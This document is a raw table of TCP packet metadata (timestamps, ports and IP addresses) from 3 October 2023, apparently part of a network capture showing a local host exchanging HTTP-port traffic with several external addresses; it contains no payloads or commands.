Oct 3, 2023 09:55:10.002571106 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.002626896 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002787113 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002820015 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.002882957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002965927 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002996922 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003026962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003070116 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003106117 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003164053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003228903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003264904 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003300905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003331900 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003386974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003418922 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003526926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003561974 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003601074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003633976 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003673077 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003705978 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003734112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003767014 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003803015 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003881931 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003895998 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.003906012 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003921986 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003935099 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.003964901 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004003048 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004066944 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004077911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004110098 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004148960 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004185915 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004250050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004282951 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004307985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004339933 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004420042 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004453897 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004470110 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004503965 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004540920 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004571915 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004607916 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004641056 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004709959 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004743099 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004744053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004775047 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004787922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004822016 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004858971 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004889011 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004892111 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004923105 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004940033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.004976988 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.004998922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.005028009 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.005038023 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.005060911 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.005074024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.005109072 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.005139112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.005173922 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.005208969 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.005242109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.005328894 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.005366087 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.005810022 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.048136950 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.227391958 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.227410078 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.227473021 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.227583885 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.227637053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.227660894 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.227708101 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.227787971 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.227835894 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.227859974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.227920055 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.227977037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.228024006 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.228179932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.228230000 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.228404999 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.228521109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.228569031 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.228622913 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.228683949 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.228707075 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.228754997 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.228809118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.228857994 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.228995085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.229042053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.229130983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.229181051 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.229204893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.229255915 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.229342937 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.229428053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.229471922 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.229535103 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.229581118 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.229640961 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.229684114 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.231173038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.231219053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.231420994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.231467009 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.231620073 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.231664896 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.231740952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.231790066 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.231964111 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.232011080 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.232157946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.232207060 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.232445955 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.234960079 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.449057102 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449208021 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449223995 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449259043 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449268103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.449354887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449374914 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.449449062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449479103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.449521065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449558020 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.449594021 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449615955 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.449651957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449666977 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.449727058 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.449731112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449805021 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.449824095 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449871063 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449889898 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.449928045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.449948072 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.450016022 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.450084925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.450150967 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.450215101 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.450284958 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.450306892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.450376987 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.450377941 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.450445890 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.450465918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.450532913 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.450546980 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.450592041 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.450613976 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.450668097 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.450680971 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.450753927 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.450822115 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.450846910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.450917006 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.450920105 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.450989962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451008081 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451031923 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451059103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451095104 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451132059 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451167107 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451186895 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451240063 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451265097 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451334953 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451395988 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451405048 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451430082 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451489925 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451508045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451586008 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451654911 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451673985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451709986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451740980 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451765060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451817036 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451826096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451873064 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451905966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.451925039 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451977968 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.451986074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.452044010 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.452625036 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.452675104 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.452699900 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.452753067 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.453006983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.453068972 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.453133106 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.453157902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.453221083 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.453237057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.453293085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.453294992 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.453319073 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.453351021 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.453403950 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.453738928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.453836918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.453885078 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.453896999 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.453933954 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.453984022 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.454066038 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.456484079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.456548929 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.456613064 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.456692934 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.670891047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.670953989 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.671010017 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.671049118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.671116114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.671170950 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.671215057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.671293974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.671376944 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.671417952 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.671449900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.671490908 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.671607971 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.671679974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.671765089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.671802044 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.672095060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.672139883 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.672260046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.672334909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.672404051 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.672426939 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.672533989 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.672573090 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.672605038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.672702074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.672790051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.672823906 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.672878981 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.672955036 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.672955036 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.673067093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.673121929 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.673178911 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.945225954 CEST	49826	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:11.228178978 CEST	80	49826	186.182.55.44	192.168.2.3
Oct 3, 2023 09:55:11.228261948 CEST	49826	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:11.228462934 CEST	49826	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:11.228487968 CEST	49826	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:11.511177063 CEST	80	49826	186.182.55.44	192.168.2.3
Oct 3, 2023 09:55:12.035537004 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.130327940 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.130418062 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.132297993 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.165592909 CEST	80	49826	186.182.55.44	192.168.2.3
Oct 3, 2023 09:55:12.165610075 CEST	80	49826	186.182.55.44	192.168.2.3
Oct 3, 2023 09:55:12.165689945 CEST	49826	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:12.165767908 CEST	49826	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:12.226816893 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.279086113 CEST	49831	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:12.460585117 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.460642099 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.460715055 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.460733891 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.460757017 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.460757971 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.460822105 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.460834980 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.460864067 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.461010933 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.461057901 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.461095095 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.461136103 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.461220980 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.461265087 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.461318970 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.461359978 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.461415052 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.461455107 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.461491108 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.461535931 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.461643934 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.461694002 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.461699963 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.461744070 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.461754084 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.461790085 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.461822987 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.461836100 CEST	80	49829	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.461860895 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.461891890 CEST	49829	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.581437111 CEST	80	49831	211.181.24.133	192.168.2.3
Oct 3, 2023 09:55:12.581554890 CEST	49831	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:12.581852913 CEST	49831	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:12.581852913 CEST	49831	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:12.600771904 CEST	49834	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.695360899 CEST	80	49834	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.695578098 CEST	49834	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.695708990 CEST	49834	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.696086884 CEST	49834	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:12.790067911 CEST	80	49834	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.790355921 CEST	80	49834	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:12.881231070 CEST	80	49831	211.181.24.133	192.168.2.3
Oct 3, 2023 09:55:12.922312021 CEST	49826	80	192.168.2.3	186.182.55.44
Oct 3, 2023 09:55:13.157402039 CEST	80	49834	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:13.157427073 CEST	80	49834	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:13.157615900 CEST	49834	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:13.163002968 CEST	49834	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:13.204729080 CEST	80	49826	186.182.55.44	192.168.2.3
Oct 3, 2023 09:55:13.287261963 CEST	49838	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:13.381953955 CEST	80	49838	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:13.382297039 CEST	49838	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:13.382550001 CEST	49838	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:13.382993937 CEST	49838	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:13.477505922 CEST	80	49838	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:13.477545977 CEST	80	49838	104.21.81.17	192.168.2.3
